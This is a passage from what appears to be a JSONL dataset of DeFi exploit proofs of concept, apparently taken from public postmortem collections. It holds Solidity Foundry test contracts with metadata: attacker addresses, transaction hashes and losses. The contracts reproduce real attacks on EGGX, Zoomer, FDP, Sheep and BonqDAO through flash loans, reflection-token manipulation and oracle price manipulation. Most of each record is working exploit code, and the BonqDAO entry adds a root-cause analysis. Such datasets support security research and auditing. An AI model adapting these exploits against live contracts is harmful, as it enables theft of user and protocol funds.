attack\",\n IERC20(aEthwstETH).balanceOf(address(this)),\n IERC20(aEthwstETH).decimals()\n );\n }\n\n function createAaveDebt(\n uint256 wethAmount\n ) external {\n // do nothing\n }\n}\n", "type": "exploit_poc", "protocol": "AffineDeFi", "date": "2024-02", "file_name": "AffineDeFi_exp.sol", "attack_vector": "flash_loan", "content_hash": "51c9f40ef6fc4601", "collected_at": "2026-01-07T10:59:16.515073", "_source": "postmortems", "chain": "ethereum", "block_number": 19132935, "total_lost_raw": "33 $aEthwstETH", "total_lost_usd": 33.0, "attacker_address": "https://etherscan.io/address/0x09f6be2a7d0d2789f01ddfaf04d4eaa94efc0857", "attack_contract": "https://etherscan.io/address/0x12d85e5869258a80d4bebe70d176d0f58b2d68e4", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x03543ef96c26d6c79ff6c24219c686ae6d0eb5453b322e54d3b6a5ce456385e5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "33 $aEthwstETH", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "33 $aEthwstETH", "keyinfo_attacker": "https://etherscan.io/address/0x09f6be2a7d0d2789f01ddfaf04d4eaa94efc0857", "keyinfo_attack_contract": "https://etherscan.io/address/0x12d85e5869258a80d4bebe70d176d0f58b2d68e4", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x03543ef96c26d6c79ff6c24219c686ae6d0eb5453b322e54d3b6a5ce456385e5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$33", "content_richness_score": 5.33, "quality_estimate": "medium", "title": "AffineDeFi Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~2 $ETH\n\n// Vulnerable Contract : https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F9\n\n// @Analysis\n// https://x.com/PeiQi_0/status/1759826303044497726\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IEGGXUNIV3POOL {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external;\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IEGGX is IERC20 {\n function transfer(address to, uint256 value) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function minted() external view returns (uint256);\n function tokenURI(\n uint256 id\n ) external view returns (string memory);\n}\n\ninterface IEGGXClaim {\n function check(\n uint256[] memory\n ) external;\n}\n\ninterface IWeth is IERC20 {\n function deposit() external payable;\n}\n\ncontract ContractTest is Test {\n IEGGXUNIV3POOL pool = IEGGXUNIV3POOL(0x26beBB6995a4736F088D129E82620eBA899B944F);\n IEGGX EGGX = IEGGX(0xe2f95ee8B72fFed59bC4D2F35b1d19b909A6e6b3);\n IEGGXClaim EGGXCliam = IEGGXClaim(0xFb35DE57B117FA770761C1A344784075745F84F9);\n IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // evm_version Requires to be \"shanghai\"\n cheats.createSelectFork(\"mainnet\", 19_252_567 - 1);\n cheats.label(address(EGGX), \"EGGX\");\n cheats.label(address(pool), \"EGGX_Pool\");\n cheats.label(address(WETH), \"WETH\");\n }\n\n function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n bytes memory pollbalance = abi.encode(EGGX.balanceOf(address(pool)));\n WETH.approve(address(pool), type(uint256).max);\n EGGX.approve(address(pool), type(uint256).max);\n emit log_named_uint(\"Attacker ETH balance before exploit\", WETH.balanceOf(address(this)));\n bool zeroForOne = false;\n uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;\n bytes memory data = abi.encodePacked(uint8(0x61));\n pool.flash(address(this), 0, EGGX.balanceOf(address(pool)), pollbalance);\n int256 amountSpecified = int256(EGGX.balanceOf(address(this)));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker ETH balance after attack:\", WETH.balanceOf(address(this)));\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 pollbalance = abi.decode(data, (uint256));\n uint256[] memory nftid = new uint256[](6);\n\n nftid[0] = 30_342;\n nftid[1] = 30_319;\n nftid[2] = 30_031;\n nftid[3] = 30_036;\n nftid[4] = 30_028;\n nftid[5] = 30_019;\n EGGXCliam.check(nftid);\n\n nftid[0] = 30_379;\n nftid[1] = 30_363;\n nftid[2] = 30_169;\n nftid[3] = 30_267;\n nftid[4] = 30_098;\n nftid[5] = 30_484;\n EGGXCliam.check(nftid);\n\n nftid[0] = 30_281;\n nftid[1] = 30_217;\n nftid[2] = 30_245;\n nftid[3] = 30_192;\n nftid[4] = 30_027;\n nftid[5] = 30_181;\n EGGXCliam.check(nftid);\n\n nftid[0] = 30_368;\n nftid[1] = 30_488;\n nftid[2] = 30_259;\n nftid[3] = 30_284;\n nftid[4] = 30_084;\n nftid[5] = 30_395;\n EGGXCliam.check(nftid);\n\n nftid[0] = 30_408;\n nftid[1] = 30_111;\n nftid[2] = 30_365;\n nftid[3] = 30_144;\n nftid[4] = 30_176;\n nftid[5] = 30_054;\n EGGXCliam.check(nftid);\n\n nftid[0] = 30_039;\n nftid[1] = 30_045;\n nftid[2] = 30_030;\n nftid[3] = 30_070;\n nftid[4] = 30_055;\n nftid[5] = 30_213;\n EGGXCliam.check(nftid);\n\n emit log_named_uint(\"Attacker EGGX exploit balance:\", EGGX.balanceOf(address(this)));\n EGGX.transfer(address(pool), pollbalance + fee1);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "EGGX", "date": "2024-02", "file_name": "EGGX_exp.sol", "attack_vector": null, "content_hash": "4793db4604c3220b", "collected_at": "2026-01-07T10:59:16.515125", "_source": "postmortems", "chain": "ethereum", "block_number": 19252567, "total_lost_raw": "~2 $ETH", "total_lost_usd": 2.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F9", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~2 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n bytes memory pollbalance = abi.encode(EGGX.balanceOf(address(pool)));\n WETH.approve(address(pool), type(uint256).max);\n EGGX.approve(address(pool), type(uint256).max);\n emit log_named_uint(\"Attacker ETH balance before exploit\", WETH.balanceOf(address(this)));\n bool zeroForOne = false;\n uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;\n bytes memory data = abi.encodePacked(uint8(0x61));\n pool.flash(address(this), 0, EGGX.balanceOf(address(pool)), pollbalance);\n int256 amountSpecified = int256(EGGX.balanceOf(address(this)));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker ETH balance after attack:\", WETH.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2 $ETH", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F9", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 7.36, "quality_estimate": "medium", "title": "EGGX Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~14 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0x06d7e7436414c658a33452d28400799f3637e83930dcec39b3bd065dabc6ef04\n// Attacker : https://etherscan.io/address/0xb0380b6d7a63e7cbf274c3b3c8838abbd6bd4abe\n// Attack Contract : https://etherscan.io/address/0xa4854022f4c16f0abc3fdec300427f6179a3043b\n// GUY : https://x.com/ChainAegis/status/1761246415488225668\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);\n address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Money HackContract;\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 19_291_249);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker ETH before exploit\", address(this).balance, 18);\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 200 ether;\n bytes memory userData = abi.encode(amounts, tokens, \"test\");\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n emit log_named_decimal_uint(\"[Begin] Attacker ETH after exploit\", address(this).balance, 18);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n for (uint256 i; i < 5; ++i) {\n HackContract = new Money{value: 200 ether}();\n swap_token_to_ExactToken(Zoomer.balanceOf(address(this)), address(Zoomer), address(WETH), type(uint256).max);\n }\n WETH.transfer(address(msg.sender), 200 ether);\n }\n\n function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {\n IERC20(a).approve(address(Router), amountInMax);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 120);\n }\n\n fallback() external payable {}\n}\n\ncontract Money is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);\n address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address owner;\n\n constructor() payable {\n owner = msg.sender;\n Attack();\n }\n\n function Attack() public payable {\n require(owner == msg.sender, \"Error\");\n swap_token_to_ExactToken(199.9 ether, address(WETH), address(Zoomer), type(uint256).max);\n Zoomer.approve(address(Vulncontract), type(uint256).max);\n address(Vulncontract).call{value: 0.02 ether}(\n abi.encodeWithSelector(bytes4(0x72c4cff6), address(Zoomer), 30_265_400 ether)\n );\n Zoomer.transfer(address(msg.sender), Zoomer.balanceOf(address(this)));\n (msg.sender).call{value: address(this).balance}(\"\");\n }\n\n function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {\n IERC20(a).approve(address(Router), amountInMax);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Zoomer", "date": "2024-02", "file_name": "Zoomer_exp.sol", "attack_vector": "flash_loan", "content_hash": "bd70700704ae3f61", "collected_at": "2026-01-07T10:59:16.515175", "_source": "postmortems", "chain": "ethereum", "block_number": 19291249, "total_lost_raw": "~14 ETH", "total_lost_usd": 14.0, "attacker_address": "https://etherscan.io/address/0xb0380b6d7a63e7cbf274c3b3c8838abbd6bd4abe", "attack_contract": "https://etherscan.io/address/0xa4854022f4c16f0abc3fdec300427f6179a3043b", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~14 ETH", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xb0380b6d7a63e7cbf274c3b3c8838abbd6bd4abe", "keyinfo_attack_contract": "https://etherscan.io/address/0xa4854022f4c16f0abc3fdec300427f6179a3043b", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$14", "content_richness_score": 5.12, "quality_estimate": "medium", "title": "Zoomer Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n\n// Attacker: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293\n// Attack Contract: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83\n// Attack Tx: https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b\n// https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1622806011269771266\n\ncontract Exploit is Test {\n IWETH private constant WBNB = IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n reflectiveERC20 private constant FDP = reflectiveERC20(0x1954b6bd198c29c3ecF2D6F6bc70A4D41eA1CC07);\n IUniswapV2Pair private constant FDP_WBNB = IUniswapV2Pair(0x6db8209C3583E7Cecb01d3025c472D1eDDBE49F3);\n\n IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IDPPOracle private constant DPP = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n\n function testHack() external {\n vm.createSelectFork(\"bsc\", 25_430_418);\n\n // flashloan 16.32 WBNB\n DPP.flashLoan(16.32 ether, 0, address(this), \"0x1\");\n }\n\n function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes calldata) external {\n // console.log(\"%s FDP in Pair before swap\", FDP.balanceOf(address(FDP_WBNB)) / 1e18); // putting console.log here make test fail ?\n\n // swap some WBNB to FDP\n WBNB.approve(address(router), type(uint256).max);\n FDP.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(FDP);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 16.32 ether, 0, path, address(this), type(uint256).max\n );\n\n console.log(\"%s FDP in Pair before deliver\", FDP.balanceOf(address(FDP_WBNB)) / 1e18);\n console.log(\"%s FDP in attack contract before deliver\", FDP.balanceOf(address(this)) / 1e18);\n console.log(\"-------------Delivering-------------\");\n // 49925109590047580102880 in attack contract before deliver\n FDP.deliver(28_463.16 ether); // 28463162603585437380302 (8 decimals)\n\n console.log(\"%s FDP in Pair after deliver\", FDP.balanceOf(address(FDP_WBNB)) / 1e18);\n console.log(\"%s FDP in attack contract after deliver\", FDP.balanceOf(address(this)) / 1e18);\n\n FDP_WBNB.swap(\n 0,\n WBNB.balanceOf(address(FDP_WBNB)) - 0.15 ether, // 32.44 ether\n address(this),\n \"\"\n );\n\n // repay\n WBNB.transfer(address(DPP), baseAmount);\n console.log(\"\\n Attacker's profit: %s WBNB\", WBNB.balanceOf(address(this)) / 1e18);\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface reflectiveERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function deliver(\n uint256 tAmount\n ) external;\n}\n\ninterface IWETH {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IDPPOracle {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address sender, bytes calldata data) external;\n}\n\ninterface IRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n function balanceOf(\n address\n ) external view returns (uint256);\n function skim(\n address to\n ) external;\n function sync() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n}\n", "type": "exploit_poc", "protocol": "FDP", "date": "2023-02", "file_name": "FDP_exp.sol", "attack_vector": "flash_loan", "content_hash": "625568195bbf078a", "collected_at": "2026-01-07T10:59:16.515222", "_source": "postmortems", "chain": "bsc", "block_number": 25430418, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293", "attack_contract": "https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83", "vulnerable_contract": null, "attack_tx": "https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293", "keyinfo_attack_contract": "https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.18, "quality_estimate": "medium", "title": "FDP Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1623999717482045440\n// https://twitter.com/BlockSecTeam/status/1624077078852210691\n// @TX\n// https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e\n// Related Events\n// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token\n// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token\n\ninterface RDeflationERC20 is IERC20 {\n function burn(\n uint256 amount\n ) external;\n}\n\ncontract ContractTest is Test {\n RDeflationERC20 SHEEP = RDeflationERC20(0x0025B42bfc22CbbA6c02d23d4Ec2aBFcf6E014d4);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x912DCfBf1105504fB4FF8ce351BEb4d929cE9c24);\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 25_543_755);\n }\n\n function testExploit() public {\n DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNBToSHEEP();\n while (SHEEP.balanceOf(address(Pair)) > 2) {\n uint256 burnAmount = SHEEP.balanceOf(address(this));\n SHEEP.burn(burnAmount);\n }\n Pair.sync();\n SHEEPToWBNB();\n WBNB.transfer(dodo, 380 * 1e18);\n }\n\n function WBNBToSHEEP() internal {\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SHEEP);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function SHEEPToWBNB() internal {\n SHEEP.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(SHEEP);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Sheep", "date": "2023-02", "file_name": "Sheep_exp.sol", "attack_vector": "flash_loan", "content_hash": "fec99f81beef49a4", "collected_at": "2026-01-07T10:59:16.515269", "_source": "postmortems", "chain": "bsc", "block_number": 25543755, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.32, "quality_estimate": "low", "title": "Sheep Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo\n// Total Lost : BEUR stablecoin and ALBT token (~88MUS$)\n// |_ 100,514,098.3407 BEUR from BonqDAO protocol\n// |_ 113,813,998.3698 ALBT from BonqDAO's borrowers\n// Attacker: 0xcAcf2D28B2A5309e099f0C6e8C60Ec3dDf656642\n// Attack Contract: 0xed596991ac5f1aa1858da66c67f7cfa7e54b5f1\n\n// Root cause : Price Oracle manipulation\n// The Vulnerability on TellorFlex, Exploit on BonqDAO affecting the AllianceBlock token.\n// The cost of the collateral required by the TellorFlex Oracle to quote is much lower than the profit from the attacker,\n// So the attacker manipulates the wALBT price to extremely high to borrow massive amount of BEUR in Tx1\n// Then, the attacker manipulates the wALBT price to extremely low to liquidates other users wALBT CDP in Tx2.\n// Potential mitigations:\n// 1. Use VWAP-based Price Oracle or TWAP-based Price Oracle.\n// 2. Use `getDataBefore()` to get a wALBT price that passed a sufficient dispute window\n\n// @Info\n// Attack Txs:\n// Tx1: 0x31957ecc43774d19f54d9968e95c69c882468b46860f921668f2c55fadd51b19 (for BEUR) 38792978\n// Tx2: 0xa02d0c3d16d6ee0e0b6a42c3cc91997c2b40c87d777136dedebe8ee0f47f32b1 (for ALBT) 38793029\n// Vulnerable Contract Code:\n// https://polygonscan.com/address/0x8f55d884cad66b79e1a131f6bcb0e66f4fd84d5b#code#F2#L282\n// Malicious Price Reporters:\n// For Tx1: 0xbaf48429b4d30bdfad488508d3b528033331fe8a\n// For Tx2: 0xb5c0ba8ed0f4fb9a31fccf84b9fb3da639a1ede5\n\n// @Analysis\n// Blocksec: https://twitter.com/BlockSecTeam/status/1621043757390123008\n// Blocksec MetaSleuth: https://twitter.com/i/web/status/1621006016065474560\n// PeckShield: https://twitter.com/peckshield/status/1620926816868499458\n// CertiK: https://twitter.com/CertiKAlert/status/1621008399772024833\n// Slowmist: https://twitter.com/SlowMist_Team/status/1621087651158966274\n// Slowmist(Chinese): https://foresightnews.pro/news/detail/16843\n// Omniscia: https://medium.com/@omniscia.io/bonq-protocol-incident-post-mortem-4fd79fe5c932\n\n// @Positive-reputation\n// https://explorer.forta.network/alert/0x6338aaa7df91e7136c9f494dfea2c5309dae7c1575815f015f1e9e94be6759d5\n\n// PR welcome!\n\ncontract Attacker is Test {\n IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);\n IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);\n IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);\n\n Exploit exploit;\n\n function testExploit() public {\n // Full simulation, run Tx1 and Tx2\n vm.createSelectFork(\"polygon\", 38_792_977);\n exploit = new Exploit();\n\n // Pre-works, check out: https://polygonscan.com/address/0xed596991ac5f1aa1858da66c67f7cfa76e54b5f1#tokentxns\n deal(address(TRB), address(exploit), 20e18); // just for staking purposes, we simplify to 20e18 :)\n deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);\n\n exploit.tx1_mintMassiveAmountOfBEUR();\n\n vm.roll(38_793_028);\n vm.warp(1_675_276_266);\n\n exploit.tx2_liquidateMassiveAmountOfALBT();\n\n // Print exploit result\n emit log_named_decimal_uint(\"[result] BEUR balance in Exploit contract\", BEUR.balanceOf(address(exploit)), 18);\n emit log_named_decimal_uint(\"[result] wALBT balance in Exploit contract\", WALBT.balanceOf(address(exploit)), 18);\n }\n\n function testAttackTx1() public {\n // Only run attack Tx1\n vm.createSelectFork(\"polygon\", 38_792_977);\n exploit = new Exploit();\n\n deal(address(TRB), address(exploit), 10e18);\n deal(address(WALBT), address(exploit), 13.35973256272339977e18);\n\n exploit.tx1_mintMassiveAmountOfBEUR();\n\n // Print BEUR exploit result\n emit log_named_decimal_uint(\"[result] BEUR balance in Exploit contract\", BEUR.balanceOf(address(exploit)), 18);\n }\n\n function testAttackTx2() public {\n // Only run attack Tx2\n vm.createSelectFork(\"polygon\", 38_793_028);\n exploit = new Exploit();\n\n deal(address(TRB), address(exploit), 20e18);\n deal(address(WALBT), address(exploit), 13.35973256272339977e18 * 2);\n deal(address(BEUR), address(exploit), 100_000_000e18); // profit from tx1\n\n exploit.tx2_liquidateMassiveAmountOfALBT();\n\n // Print ALBT exploit result\n emit log_named_decimal_uint(\"[result] wALBT balance in Exploit contract\", WALBT.balanceOf(address(exploit)), 18);\n }\n}\n\ncontract Exploit is Test {\n ITellorFlex constant TellorFlex = ITellorFlex(0x8f55D884CAD66B79e1a131f6bCB0e66f4fD84d5B);\n IOriginalTroveFactory constant BonqProxy = IOriginalTroveFactory(0x3bB7fFD08f46620beA3a9Ae7F096cF2b213768B3);\n IERC20 constant TRB = IERC20(0xE3322702BEdaaEd36CdDAb233360B939775ae5f1);\n IERC20 constant WALBT = IERC20(0x35b2ECE5B1eD6a7a99b83508F8ceEAB8661E0632);\n IERC20 constant BEUR = IERC20(0x338Eb4d394a4327E5dB80d08628fa56EA2FD4B81);\n\n address maliciousTrove;\n address maliciousTrove2;\n\n function tx1_mintMassiveAmountOfBEUR() public {\n // func_0xa11ce20c\n console.log(\"Update wALBT price to extremely high\");\n PriceReporter Reporter = new PriceReporter();\n TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter\n Reporter.updatePrice(10e18, 5e27);\n\n console.log(\"Use 0.1 wALBT as collateral, borrow massive amount of BEUR\");\n maliciousTrove = BonqProxy.createTrove(address(WALBT)); // attacker create a new trove\n WALBT.transfer(maliciousTrove, 0.1 * 1e18); // transfer 0.1 wALBT to trove as collateral\n ITrove(maliciousTrove).increaseCollateral(0, address(0));\n ITrove(maliciousTrove).borrow(address(this), 100_000_000e18, address(0)); // borrow 100,000,000 BEUR\n\n console.log(\"Create another trove for attack Tx2\");\n maliciousTrove2 = BonqProxy.createTrove(address(WALBT));\n WALBT.transfer(maliciousTrove2, WALBT.balanceOf(address(this)));\n ITrove(maliciousTrove2).increaseCollateral(0, address(0));\n }\n\n function tx2_liquidateMassiveAmountOfALBT() public {\n // func_0x770344d9\n console.log(\"Update wALBT price to extremely low\");\n PriceReporter Reporter = new PriceReporter();\n TRB.transfer(address(Reporter), TellorFlex.getStakeAmount()); // transfer 10 TRB to price reporter\n Reporter.updatePrice(10e18, 0.0000001 * 1e18);\n\n console.log(\"Get all trove addresses\");\n address[] memory troves = new address[](45);\n troves[0] = BonqProxy.firstTrove(address(WALBT));\n troves[44] = BonqProxy.lastTrove(address(WALBT));\n require(troves[44] == 